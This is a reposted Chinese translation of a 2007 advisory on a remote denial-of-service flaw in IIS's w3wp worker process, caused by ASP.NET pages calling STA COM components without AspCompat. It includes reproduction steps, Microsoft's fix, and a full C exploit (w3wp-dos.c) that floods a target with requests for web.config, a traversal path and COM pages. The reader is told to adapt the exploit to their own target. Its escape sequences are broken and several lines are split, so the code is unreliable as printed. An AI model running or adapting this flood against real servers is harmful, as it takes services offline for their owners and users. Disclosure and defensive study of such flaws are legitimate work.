您的位置:首页 > 编程语言 > ASP

w3wp remote DoS due to improper reference of STA COM components in ASP.NET

2007-07-21 00:13 489 查看
作者:debasis[AT]hackingspirits.com

厂商:微软公司
MSRC(微软安全响应中心)事件号:MSRC 6367sd
产品信息:IIS Worker Process (w3wp)

1.    产生背景

去年初期,当我对一些运行着asp.net应用程序的站点进行标准攻击测试的时候,我碰到了预料之外的情况:针对工作进程(w3wp)的一个远程DoS。由于成功的几率是随机的,我并没有怎么在意。但是当我在我的家庭实验室进行更多的测试之后,我能够让w3wp进程崩溃再次发生(接近十分之七的成功几率)。这就是我想调试和更深入研究它的原因。

在与MSRC一起为这个问题奋斗一个多月以后,终于作出了结论:崩溃无法人为发生,并且它是由于对asp.net应用程序中的COM或者COM+的不正确调用造成的。程序开发者经常忘记使用“AspCompat”指示,然而当在asp.net中调用COM组件时这又是需要的。下面的链接提供的是“AspCompat”的适当用法: http://msdn2.microsoft.com/en-us/library/zwk9h2kb.aspx http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnbda/html/dbgch04.asp

附加信息可以在下面的链接中找到: http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnnetsec/html/SecNetch08.asp http://msdn.microsoft.com/library/default.asp?url=/library/enus/
cpguide/html/cpconCOMComponentCompatibility.asp?frame=true&hidetoc=true http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnaspp/html/monitor_perf.asp
2.    问题描述

缺少“AspCompat”指示会导致网站应用程序的不稳定以及性能上的锐减,仅仅一个简单的网络服务器的负荷增长就能让它崩溃。

如果对服务器上调用COM组件和受限文件(在应用程序目录的路径内部)的某一URL的同时请求数达到了100-300个,那么工作进程就会处理失败或是立即崩溃。URL应该跟下面给出的类似: http://<Domain>/asp-app/web.config http://<Domain>/asp-app/default.aspx (调用任何COM组件的示例链接) http://<Domain>/asp-app/../aspapplogs/log1.log
3.    测试环境

测试已经在如下平台成功:
Windows 2003 (SP1) + IIS 6.0 + .NET Framework 1.1
Windows XP Professional Edition + IIS 6.0 + .NET Framework 1.1

4.    理论依据

a.    找一些URL,并做成列表形式,它们指向运行着asp.net应用程序的网站服务器上的受限文件,同时那些链接都调用了任何一个COM组件。
例如: http://<Domain>/asp-app/web.config http://<Domain>/asp-app/user-screen.aspx (链接到COM组件的调用) http://<Domain>/asp-app/../aspapplogs/log1.log […]

b.    这个情况可以通过使用一个exploit代码再次发生,也可以通过使用fiddler(一个工具软件)来构造和重现同时的http请求。Exploit代码w3wp-dos.c可以在附录I中找到。记得修改里面的链接为你的asp.net路径和链接。

c. 假如你想使用fiddler来代替exploit代码,那么就运行fiddler => 转到‘Request Builder’(请求构造)=> 输入前面列表中的任意一个URL,并且设置适当的‘Request Headers’
  (请求头部)。作者强烈推荐使用IE。现在发送连续的GET请求到服务器,保持“Return Key”(返回键)被一直按住,直到那个URL有100-300个http GET / POST请求。同样地,对列表中的所有URL重复这个过程。截图III-a中可以看到更多的细节:

图III-a
 


d.现在试着访问那些调用COM组件的asp.net应用程序的链接。如果攻击成功,w3wp.exe就会产生一个无效的服务并随之崩溃。然后,你就会看见服务器端终止的一个错误消息,类似截图III-b

图III-b



除非网站管理员手工点击任一选项终止工作进程,否则工作进程将不会再处理对应用程序的其他请求。如果管理员选择点击选项,工作进程就会自动重启。假如“取消”按钮被点击,一个类似截图III-c的提示框会突然出现。

图III-c



也可以通过事件查看器来查看详细信息,类似图III-d



5.    解决方案(微软公司提供)

ASP内在对象(像STA COM组件)默认在ASP.NET中没有被激活,线程池默认是一个MTA(multithreaded apartment)。因此,为了有效使用这些默认的COM组件,@page指示符中的如下属性应该被明确地改变:
<%@Page ASPCompat="true" %>

这个指示使ASP.NET提供对ASP内在对象的访问,同时把线程池改为STA。在增加了这个指示之后,问题得到了解决。

附录I

// w3wp-dos.c //
********************************************************************************************************************
#include "stdafx.h"
#pragma comment (lib,"ws2_32")
#include <winsock2.h>
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdio.h>
#include <ctype.h>
char * pszUnauthLinks(DWORD);
#define portno 80
int main(int argc, CHAR* argv[])
{
char szWorkBuff[100];
DWORD dwCount = 0, dwCounter;
int iCnt = 0, iCount = 0;
SOCKET conn_socket;
WSADATA wsaData;
struct sockaddr_in sin;
struct hostent *phostent;
char *pszTargetHost = new char[MAX_PATH];
UINT uAddr;
if (argc<2)
{
printf("============================================/n");
printf("/t/t w3wp-dos by Debasis Mohanty/n");
printf("/t/t www.hackingspirits.com/n");
printf("============================================/n");
printf("/nUsage: w3wpdos <HostIP / HostName> /n/n");
exit(0);
}
int iRetval;
if((iRetval = WSAStartup(0x202,&wsaData)) != 0) {
printf( "WSAStartup failed with error %d/n",iRetval);
WSACleanup(); exit(1); }
// 对提供的参数长度进行检测
if (strlen(argv[1]) > MAX_PATH) {
printf( "Too long parameter ..../n"); exit(1); }
else
strcpy(pszTargetHost, argv[1]);
// 解决主机名到IP地址间的转换,反之亦然
if(isalpha(pszTargetHost[0]))
phostent = gethostbyname(pszTargetHost);
else {
uAddr = inet_addr(pszTargetHost);
phostent = gethostbyaddr((char *)&uAddr,4,AF_INET);
if(phostent != NULL)
wsprintf( pszTargetHost, "[+] %s", phostent->h_name);
else {
printf( "Failed to resolve IP address, please provide host
name./n" );
WSACleanup();
exit(1);
}
}
if (phostent == NULL ) {
printf("Cannot resolve address [%s]: Error %d/n", pszTargetHost,
WSAGetLastError());
WSACleanup();
printf( "Target host seems to be down or the program failed to resolve
host name.");
printf( "Press enter to exit" );
getchar();
exit(1); }
// 初始化Socket信息
memset(&sin,0,sizeof(sin));
memcpy(&(sin.sin_addr),phostent->h_addr,phostent->h_length);
sin.sin_family = phostent->h_addrtype;
sin.sin_port = htons(portno);
conn_socket = socket(AF_INET, SOCK_STREAM, 0);
if (conn_socket < 0 ) {
printf("Error Opening socket: Error %d/n", WSAGetLastError());
WSACleanup();
return -1;}
printf("============================================/n");
printf("/t/t w3wp-dos by Debasis Mohanty/n");
printf("/t/t www.hackingspirits.com/n");
printf("============================================/n");
printf("[+] Host name: %s/n", pszTargetHost);
wsprintf( szWorkBuff, "%u.%u.%u.%u",
sin.sin_addr.S_un.S_un_b.s_b1,
sin.sin_addr.S_un.S_un_b.s_b2,
sin.sin_addr.S_un.S_un_b.s_b3,
sin.sin_addr.S_un.S_un_b.s_b4 );
printf("[+] Host IP: %s/n", szWorkBuff);
closesocket(conn_socket);
printf("[+] Ready to generate requests/n");
/*计数应由 szBuff array数组中的链接数决定*/
while(dwCount++ < 10)
{
conn_socket = socket(AF_INET, SOCK_STREAM, 0);
memcpy(phostent->h_addr, (char *)&sin.sin_addr, phostent-
>h_length);
sin.sin_family = AF_INET;
sin.sin_port = htons(portno);
if(connect(conn_socket, (struct sockaddr*)&sin,sizeof(sin))!=0)
perror("connect");
printf( "[%i] %s", dwCount, pszUnauthLinks(dwCount));
for(dwCounter=1;dwCounter < 9;dwCounter++)
{
send(conn_socket,pszUnauthLinks(dwCount),
strlen(pszUnauthLinks(dwCount)),0);
char *szBuffer = new char[256];
recv(conn_socket, szBuffer, 256, 0);
printf(".");
// if( szBuffer != NULL)
// printf("%s", szBuffer);
delete szBuffer;
Sleep(100);
}
printf("/n");
closesocket(conn_socket);
}
return 1;
}
char * pszUnauthLinks( DWORD dwIndex )
{
char *szBuff[10];
TCHAR *szGetReqH = new char[1024];
/*修改你的asp.net链接下面的链接列表,列表应该支持调用任何COM组件的链接,以及其他在asp.net应用程序路径下的受限链接. */
szBuff[1] = "GET /aspnet-app//web.config";
szBuff[2] = "GET /aspnet-app//../aspnetlogs//log1.logs";
szBuff[3] = "GET /aspnet-app//default-userscreen.aspx";
szBuff[4] = "GET /aspnet-app//users/config.aspx";
szBuff[5] = "GET /aspnet-app//links/anycomref.aspx"; //
szBuff[6] = "GET /aspnet-app//com-ref-link1.aspx"; // Links of
pages referring
szBuff[7] = "GET /aspnet-app//com-ref-link2.aspx"; // COM
components.
szBuff[8] = "GET /aspnet-app//com-ref-link3.aspx"; //
szBuff[9] = "GET /aspnet-app//com-ref-link4.aspx"; //
/* 准备目标链接的GET请求*/
strcpy(szGetReqH, szBuff[dwIndex]);
strcat(szGetReqH, " HTTP/1.1/r/n");
strcat(szGetReqH, "Accept: image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, application/x-shockwave-flash, */*/r/n");
strcat(szGetReqH, "Accept-Language: en-us/r/n");
strcat(szGetReqH, "Accept-Encoding: gzip, deflate/r/n");
strcat(szGetReqH, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows
NT 5.0; .NET CLR 1.1.4322)/r/n");
strcat(szGetReqH, "Host: /r/n" );
strcat(szGetReqH, "Connection: Keep-Alive/r/n" );
/* 插入一个有效的Session Cookie和ASPVIEWSTATE以获得更多有效结果*/
strcat(szGetReqH, "Cookie:
ASP.NET_SessionId=35i2i02dtybpvvjtog4lh0ri;/r/n" );
strcat(szGetReqH,
".ASPXAUTH=6DCE135EFC40CAB2A3B839BF21012FC6C619EB88C866A914ED9F49D67B0D01135F74
4632F1CC480589912023FA6D703BF02680BE6D733518A998AD1BE1FCD082F1CBC4DB54870BFE76A
C713AF05B971D/r/n/r/n" );
//返回szBuff[dwIndex];
return szGetReqH;
}
********************************************************************************************************************
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
相关文章推荐